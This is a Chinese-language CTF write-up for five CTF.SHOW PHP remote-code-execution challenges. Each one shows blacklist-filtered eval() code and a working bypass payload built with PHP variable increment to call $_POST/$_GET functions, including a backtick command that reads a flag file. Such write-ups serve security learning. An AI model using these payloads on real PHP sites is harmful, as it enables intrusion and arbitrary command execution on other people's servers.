抽空做了一下CTF.SHOW的RCE挑战题目,
温习旧知识的同时也学到了一些新的灵活运用变量自增来实现RCE的方法。
在此做一个记录^^。
0x00 RCE挑战1
<?php error_reporting(0); highlight_file(__FILE__); $code = $_POST['code']; $code = str_replace("(","括号",$code); $code = str_replace(".","点",$code); eval($code); ?>
简单,反引号绕过即可:code=echo `cat /f1agaaa`;
0x01 RCE挑战2
<?php //本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。 error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; if (is_string($ctfshow)) { if (!preg_match("/[a-zA-Z0-9@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){ eval($ctfshow); }else{ echo("Are you hacking me AGAIN?"); } }else{ phpinfo(); } } ?>
因为过滤了$ctfshow
值中的所有数字和字母,考虑变量自增,涉及到PHP的知识点:
<?php $a = []._; //$a为“Array_” echo $a[0]; //会输出:A $b = $a[0]; echo ++$b; //会输出:B ?>
因为数字也过滤掉了,变量名可以用下划线替代,$a[0]
中的数字0也可以用下划线替代。
<?php $_ = []._; echo $_[_]; //输出:A ?>
拼出$_GET[_]($_GET[__])
:
$_=[]._;$_=$_[_];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$___=$___.$__.$_;$_='_'.$___;$$_[_]($$_[__]);
因为中间件会解码一次,所以还需要URL全编码一次:
%24%5F%3D%5B%5D%2E%5F%3B%24%5F%3D%24%5F%5B%5F%5D%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%2B%2B%3B%24%5F%5F%5F%3D%24%5F%5F%5F%2E%24%5F%5F%2E%24%5F%3B%24%5F%3D%27%5F%27%2E%24%5F%5F%5F%3B%24%24%5F%5B%5F%5D%28%24%24%5F%5B%5F%5F%5D%29%3B

0x02 RCE挑战3
<?php //本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。 error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; if (is_string($ctfshow) && strlen($ctfshow) <= 105) { if (!preg_match("/[a-zA-Z2-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){ eval($ctfshow); }else{ echo("Are you hacking me AGAIN?"); } }else{ phpinfo(); } } ?>
和挑战2比多了一个字数限制,黑名单也发生了变化。所以上一个方法不行了。
同样考虑变量自增,涉及到PHP的知识点:
<?php $_=(0/0)._; echo $_[_]; //输出N ?>
剩下的和挑战2类似,拼出$_POST[0]($_POST[1])
<?php $_=(0/0)._; $_=$_[_]; $__=++$_; $__=$__.$__++; ++$_;++$_;++$_;++$_; $__=_.$__.$_.++$_; $$__[0]($$__[1]); ?>

0x03 RCE挑战4
<?php //本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。 error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; if (is_string($ctfshow) && strlen($ctfshow) <= 84) { if (!preg_match("/[a-zA-Z1-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){ eval($ctfshow); }else{ echo("Are you hacking me AGAIN?"); } }else{ phpinfo(); } } ?>
与挑战3相比,修改了黑名单和payload最大长度限制。尝试优化了挑战3的payload
$_=(_/_._)[0];$__=++$_;$__=_.++$_.$__;++$_;++$_;$__=$__.++$_.++$_;$$__[_]($$__[__]);

0x04 RCE挑战5
<?php //本题灵感来自研究Y4tacker佬在吃瓜杯投稿的shellme时想到的姿势,太棒啦~。 error_reporting(0); highlight_file(__FILE__); if (isset($_POST['ctf_show'])) { $ctfshow = $_POST['ctf_show']; if (is_string($ctfshow) && strlen($ctfshow) <= 73) { if (!preg_match("/[a-zA-Z0-9!'@#%^&*:{}\-<\?>\"|`~\\\\]/",$ctfshow)){ eval($ctfshow); }else{ echo("Are you hacking me AGAIN?"); } }else{ phpinfo(); } } ?>
这次除了长度再次缩短外,甚至不允许输入数字。输入符合黑名单规则又长度大于73的字符串。
构造payload,尽量把变量和🐎都设置为一个长度的字符,涉及到一个小知识点,PHP的变量名可以用不可见字符,所以URL全编码后我把这里的a都替换成了%FA
<?php $_=(_/_._)[_];//N $_++;//O $a=$_.$_++;//PO $_++;$_++;//R $a=_.$a.++$_.++$_;//_POST $$a[_]($$a[a]); ?>
